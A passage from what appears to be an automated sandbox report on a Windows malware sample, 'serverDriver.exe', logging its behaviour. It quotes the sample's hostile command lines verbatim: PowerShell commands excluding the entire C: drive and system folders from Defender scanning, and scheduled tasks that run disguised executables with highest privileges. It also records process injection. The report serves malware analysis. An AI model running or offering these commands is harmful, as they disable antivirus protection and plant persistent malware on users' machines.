00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00005820) "serverDriver.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00005820) "serverDriver.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00005820) "serverDriver.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\SGxDUr5uRrb3f39789a#\* (UID: 00000000-00005820) "serverDriver.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\* (UID: 00000000-00005820)63:T4dd,Found reference to API "GetDC" (Indicator: "GetDC"; File: "bounty-11274888870579111") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "bounty-11274888870579111") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "bounty-11274888870579111") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "bounty-11274888870579111") Found reference to API "CreateDC" (Indicator: "CreateDC"; File: "bounty-11274888870579111") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00000764.00000000.67260.00333000.00000002.mdmp, 00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00000764.00000000.67260.00333000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00000764.00000000.67260.00333000.00000002.mdmp") Found reference to API "GetDCOrgEx" (Indicator: "GetDC"; Source: "00000000-00000764.00000000.67260.73421000.00000020.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00000764.00000000.67260.73487000.00000002.mdmp")64:Ta3d,Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "bounty-11274888870579111") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "bounty-11274888870579111") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00000764.00000000.67260.00333000.00000002.mdmp, 00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00000764.00000000.67260.00333000.00000002.mdmp, 00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "RegQueryValueA" (Indicator: "RegQueryValue"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "RegOpenKeyA" (Indicator: "RegOpenKey"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp, 00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp, 00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "RegEnumValueW" (Indicator: "RegEnumValue"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "RegNotifyChangeKeyValue" (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp")65:T45f,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "bounty-11274888870579111") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000764.00000000.67260.00333000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00000764.00000000.67260.73487000.00000002.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00003048.00000000.67625.00CD9000.00000002.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003048.00000000.67625.73551000.00000002.mdmp")66:Tce7,Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/'" (UID: 00000000-00001404) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'" (UID: 00000000-00007532) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WINDOWS.~BT/'" (UID: 00000000-00003016) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'" (UID: 00000000-00007788) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/found.000/'" (UID: 00000000-00005180) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/msComwin/'" (UID: 00000000-00002816) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'" (UID: 00000000-00004600) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'" (UID: 00000000-00006416) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\'" (UID: 00000000-00007940) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)/'" (UID: 00000000-00005064) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\\'" (UID: 00000000-00007520) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'" (UID: 00000000-00006996) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'" (UID: 00000000-00003700) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/tempdir/'" (UID: 00000000-00001236) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'" (UID: 00000000-00004056) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\'" (UID: 00000000-00005920) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" (UID: 00000000-00007452) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%WINDIR%\\System32\\wo-SN\\conhost.exe'" (UID: 00000000-00007176) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" (UID: 00000000-00005228) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath '%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" (UID: 00000000-00005812) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" (UID: 00000000-00003396) Process "powershell.exe" with commandline ""powershell" -Command Add-MpPreference -ExclusionPath 'C:\\msComwin\\serverDriver.exe'" (UID: 00000000-00003488)67:T2860,"serverDriver.exe" wrote 61440 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\EyhiJlUo.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 32256 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\uqslXQbF.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 19968 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\UAIqUBrJ.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 40448 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\XiPOwPQx.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 4096 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\mEAdJolS.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 38912 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\UsYXpSQD.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 28160 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\jTUMCaaa.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 38400 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\RHtHiEFL.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 34304 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\hipwvNQh.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\DdYarwKj.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 23552 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\dsyFoQPo.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 50176 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\KbMaULFY.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 22016 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\ZCIPgTPu.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 36352 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\GkVjNOEf.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 64000 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\dkPnJhoi.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 46592 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\kiDnmwjX.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 24064 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\LpuAEhNV.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 41472 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\qSwuksNG.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 39936 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\FohIxSib.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 14848 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\UQexJasx.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 33280 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\SfyhCMhF.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 39936 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\gBkwPmCa.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 33792 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\wcglbuMw.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 9728 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\bFifIGMh.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 4608 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\rheUUOWD.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 23552 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\GDQjhnqZ.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "serverDriver.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\Desktop\fNgodYGc.log": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...68:Tbf1,Process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 7 /tr "'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" /f" (UID: 00000000-00006220) Process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64" /sc ONLOGON /tr "'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00007668) Process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 13 /tr "'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00007884) Process "schtasks.exe" with commandline "/create /tn "conhostc" /sc MINUTE /mo 7 /tr "'%WINDIR%\\System32\\wo-SN\\conhost.exe'" /f" (UID: 00000000-00005184) Process "schtasks.exe" with commandline "/create /tn "conhost" /sc ONLOGON /tr "'%WINDIR%\\System32\\wo-SN\\conhost.exe'" /rl HIGHEST /f" (UID: 00000000-00008156) Process "schtasks.exe" with commandline "/create /tn "conhostc" /sc MINUTE /mo 6 /tr "'%WINDIR%\\System32\\wo-SN\\conhost.exe'" /rl HIGHEST /f" (UID: 00000000-00007480) Process "schtasks.exe" with commandline "/create /tn "csrssc" /sc MINUTE /mo 11 /tr "'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" /f" (UID: 00000000-00004000) Process "schtasks.exe" with commandline "/create /tn "csrss" /sc ONLOGON /tr "'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" /rl HIGHEST /f" (UID: 00000000-00002748) Process "schtasks.exe" with commandline "/create /tn "csrssc" /sc MINUTE /mo 11 /tr "'%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe'" /rl HIGHEST /f" (UID: 00000000-00007768) Process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 11 /tr "'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" /f" (UID: 00000000-00007704) Process "schtasks.exe" with commandline "/create /tn "OSPPSVC" /sc ONLOGON /tr "'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" /rl HIGHEST /f" (UID: 00000000-00008148) Process "schtasks.exe" with commandline "/create /tn "OSPPSVCO" /sc MINUTE /mo 8 /tr "'%USERPROFILE%\\Saved Games\\OSPPSVC.exe'" /rl HIGHEST /f" (UID: 00000000-00003792) Process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 8 /tr "'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" /f" (UID: 00000000-00004296) Process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64" /sc ONLOGON /tr "'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00004564) Process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 6 /tr "'C:\\found.000\\dir0000.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00003192) Process "schtasks.exe" with commandline "/create /tn "serverDrivers" /sc MINUTE /mo 9 /tr "'C:\\msComwin\\serverDriver.exe'" /f" (UID: 00000000-00003092) Process "schtasks.exe" with commandline "/create /tn "serverDriver" /sc ONLOGON /tr "'C:\\msComwin\\serverDriver.exe'" /rl HIGHEST /f" (UID: 00000000-00007988) Process "schtasks.exe" with commandline "/create /tn "serverDrivers" /sc MINUTE /mo 13 /tr "'C:\\msComwin\\serverDriver.exe'" /rl HIGHEST /f" (UID: 00000000-00002840)69:T17d8,"bounty-11274888870579111.exe" wrote 00000004 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 1236) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4240) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4240) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4268) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4268) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4276) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4276) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4248) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4248) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4140) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4140) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4284) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4284) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4244) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4244) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4264) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4264) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4296) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4296) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4304) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4304) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4280) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4280) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4288) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4288) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4272) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4272) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4300) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4300) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4308) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4308) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4312) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4312) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4316) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4316) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4332) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4332) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4320) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4320) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4324) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4324) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4260) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4260) "serverDriver.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4292) "serverDriver.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 4292)6a:T1d44,Spawned process "bounty-11274888870579111.exe" (UID: 00000000-00000764) Spawned process "WScript.exe" with commandline ""C:\\msComwin\\cZA5KaguC4o8PZDkwLzCSV.vbe"" (UID: 00000000-00003048) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""C:\\msComwin\\jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat" "" (UID: 00000000-00005196) Spawned process "serverDriver.exe" (UID: 00000000-00005820) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc MINUTE /mo 7 /tr "'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" /f" (UID: 00000000-00006220) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64" /sc ONLOGON /tr "'C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe'" /rl HIGHEST /f" (UID: 00000000-00007668) Spawned process "schtasks.exe" with commandline "/create /tn "AutoIt3_x64A" /sc 